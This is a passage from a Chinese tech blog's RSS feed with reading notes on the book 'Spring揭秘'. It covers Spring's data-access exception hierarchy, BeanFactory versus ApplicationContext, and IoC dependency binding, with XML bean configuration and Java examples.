&lt;div&gt;那怎么办呢？DAO如此美好的远景。&lt;/div&gt;
&lt;div&gt;直接抛出，的话，因此，可以根据发生的异常信息封装成不同的unchecked exception，然后抛出，这样方法签名不用改。因为unchecked不需要编译器检查。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;要开始写了？Spring的数据访问异常层次体系已经给我们做完了&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;该体系下面所有的异常类型均以DataAccessException为统领，然后划分成不同的子类型&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;![](/images/3ab324530a8c3d0b0216d3f7549ebbfa6b7869f4.jpg)&lt;/div&gt;
&lt;div&gt;这些类是啥搜索一下，或者根据名字猜一下，之后我们就可以&lt;/div&gt;
&lt;/div&gt;</description>
    </item>
    <item>
      <title>Spring揭秘-第四章BeanFactory笔记</title>
      <link>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC%E5%9B%9B%E7%AB%A0beanfactory%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sun, 13 Jul 2014 11:20:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC%E5%9B%9B%E7%AB%A0beanfactory%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;div&gt;&lt;/div&gt;
&lt;div&gt;之前说了，IoC容器就是一个IoC Service Provider，但是容器是个啥意思？![](/images/d4d1615a6c1a06895088631c37e3fca7692f0b8a.png)&lt;/div&gt;
&lt;div&gt;可以看到IoC容器提供了更多的内容，&lt;/div&gt;
&lt;div&gt;Spring的IoC容器又分成两种，&lt;/div&gt;
&lt;div&gt;1.BeanFactory&lt;/div&gt;
&lt;div&gt;。基础类型IoC容器，提供完整的IoC服务支持。如果没有特殊指定，默认采用延 迟初始化策略（lazy-load）。只有当客户端对象需要访问容器中的某个受管对象的时候，才对 该受管对象进行初始化以及依赖注入操作。所以，相对来说，容器启动初期速度较快，所需 要的资源有限。对于资源有限，并且功能要求不是很严格的场景，BeanFactory是比较合适的 IoC容器选择。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;2.ApplicationContext。ApplicationContext在BeanFactory的基础上构建，是相对比较高 级的容器实现，除了拥有BeanFactory的所有支持，ApplicationContext还提供了其他高级&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;特性，比如事件发布、国际化信息支持等，这些会在后面详述。ApplicationContext所管理 的对象，在该类型容器启动之后，默认全部初始化并绑定完成。所以，相对于BeanFactory来 说，ApplicationContext要求更多的系统资源，同时，因为在启动时就完成所有初始化，容 器启动时间较之BeanFactory也会长一些。在那些系统资源充足，并且要求更多功能的场景中， ApplicationContext类型的容器是比较合适的选择。 &lt;/span&gt;&lt;/div&gt;
&lt;div&gt; 通过 图4-2，我们可以对BeanFactory和ApplicationContext之间的关系有一个更清晰的认识。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;![](/images/f531ea3e11bb391453eb5f763283398c938634b2.png)&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;Bean工长，就是生成Bean的嘛，每个业务对象被看成Javabean,我们与工厂打交道就简单得多，我们只要告诉他我要什么对象，至于怎么组装，那是他的事情。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;工厂提供了一些对外的接口，比如获取Bean，渠道Bean的状态等等。&lt;/div&gt;
&lt;div&gt;以xml为例&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; 
&amp;lt;!DOCTYPE beans PUBLIC &#34;-//SPRING//DTD BEAN//EN&#34; &#34;http://www.springframework.org/dtd/spring-beans.dtd&#34;&amp;gt;  
&amp;lt;beans&amp;gt;  
 &amp;lt;bean id=&#34;djNewsProvider&#34; class=&#34;..FXNewsProvider&#34;&amp;gt;   
    &amp;lt;constructor-arg index=&#34;0&#34;&amp;gt;    
       &amp;lt;ref bean=&#34;djNewsListener&#34;/&amp;gt;   
     &amp;lt;/constructor-arg&amp;gt;   
   &amp;lt;constructor-arg index=&#34;1&#34;&amp;gt;    
       &amp;lt;ref bean=&#34;djNewsPersister&#34;/&amp;gt;   
   &amp;lt;/constructor-arg&amp;gt;  
 &amp;lt;/bean&amp;gt;    
 &amp;lt;bean id=&#34;djNewsListener&#34; class=&#34;..impl.DowJonesNewsListener&#34;&amp;gt;  
 &amp;lt;/bean&amp;gt;  
 &amp;lt;bean id=&#34;djNewsPersister&#34; class=&#34;..impl.DowJonesNewsPersister&#34;&amp;gt;  
 &amp;lt;/bean&amp;gt; 
&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;然后&lt;/div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public static void main(String[] args)  {
   DefaultListableBeanFactory beanRegistry = new DefaultListableBeanFactory();     
   BeanFactory container = (BeanFactory)bindViaXMLFile(beanRegistry);  
   FXNewsProvider newsProvider = (FXNewsProvider)container.getBean(&#34;djNewsProvider&#34;); 
   newsProvider.getAndPersistNews(); 
}  
public static BeanFactory bindViaXMLFile(BeanDefinitionRegistry registry)  
{  
XmlBeanDefinitionReader reader = new XmlBeanDefinitionReader(registry);  
reader.loadBeanDefinitions(&#34;classpath:../news-config.xml&#34;);   
return (BeanFactory)registry;  // 或者直接  
//return new XmlBeanFactory(new ClassPathResource(&#34;../news-config.xml&#34;));
 }&lt;/pre&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;人生好像就美好&lt;/div&gt;</description>
    </item>
    <item>
      <title>Spring揭秘-第三章IoC Service Provider读书笔记</title>
      <link>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC%E4%B8%89%E7%AB%A0ioc-service-provider%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sun, 13 Jul 2014 11:18:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC%E4%B8%89%E7%AB%A0ioc-service-provider%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;&lt;span style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; display: inline !important; float: none;&#34;&gt;我们虽然已经通过IoC声明了相应的依赖，但是最终总要有个啥东西将这些依赖对象绑定在一起，这里而IoC Service Provider, 来啦，表示一种绑定的实现方式，可以使一段代码，也可以是一组相关的泪，甚至是框架或容器。&lt;/span&gt;&lt;/p&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;比如前一篇提到的&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IFXNewsListener newsListener = new DowJonesNewsListener(); 
IFXNewsPersister newsPersister = new DowJonesNewsPersister(); 
FXNewsProvider newsProvider = new FXNewsProvider(newsListener,newsPersister); 
newsProvider.getAndPersistNews();&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;就是一个容器，只不过太简单了，不适用于更多的场景，&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;IoC容器就是Spring提供依赖注入服务的Provider&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;I&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;oC Service Provider 是干嘛？&lt;/span&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;1.业务对象的构建管理，剥离客户端对象的构建的依赖逻辑，比如A引用B，那么A是B的客户端对象，容器需要理清这种关系。&lt;/span&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;2.业务对象之间的依赖绑定，通过1的实现， 识别各个对象的依赖关系，然后将这些对象依赖的对象注入绑定，用的时候就有了。&lt;/span&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;那你要问了，这怎么管理对象间的依赖关系呢&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;IoC Service Provider怎么就能完全领会代码的意图呢？他怎么记住这么多的依赖关系等等，他要这么做&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;1.元数据方式&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;2.通过描述性较强的xml来记录对应信息&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;3.通过编写代码的方式注册这些信息&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;3.直接编码方式，&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;明确了依赖关系&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IoContainer container = ...; 
container.register(FXNewsProvider.class,new FXNewsProvider()); 
container.register(IFXNewsListener.class,new DowJonesNewsListener());
 ... 
FXNewsProvider newsProvider = (FXNewsProvider)container.get(FXNewsProvider.class); 
newProvider.getAndPersistNews();&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;2.配置文件方式&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;最常见的还是xml方式，&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;pre class=&#34;lang:xhtml decode:true&#34;&gt;&amp;lt;bean id=&#34;newsProvider&#34; class=&#34;..FXNewsProvider&#34;&amp;gt;  
 &amp;lt;property name=&#34;newsListener&#34;&amp;gt;   
  &amp;lt;ref bean=&#34;djNewsListener&#34;/&amp;gt;  
 &amp;lt;/property&amp;gt;  
 &amp;lt;property name=&#34;newPersistener&#34;&amp;gt;   
  &amp;lt;ref bean=&#34;djNewsPersister&#34;/&amp;gt;  
 &amp;lt;/property&amp;gt; 
&amp;lt;/bean&amp;gt;  
&amp;lt;bean id=&#34;djNewsListener&#34;   class=&#34;..impl.DowJonesNewsListener&#34;&amp;gt; 
&amp;lt;/bean&amp;gt; 
&amp;lt;bean id=&#34;djNewsPersister&#34;   class=&#34;..impl.DowJonesNewsPersister&#34;&amp;gt; 
&amp;lt;/bean&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
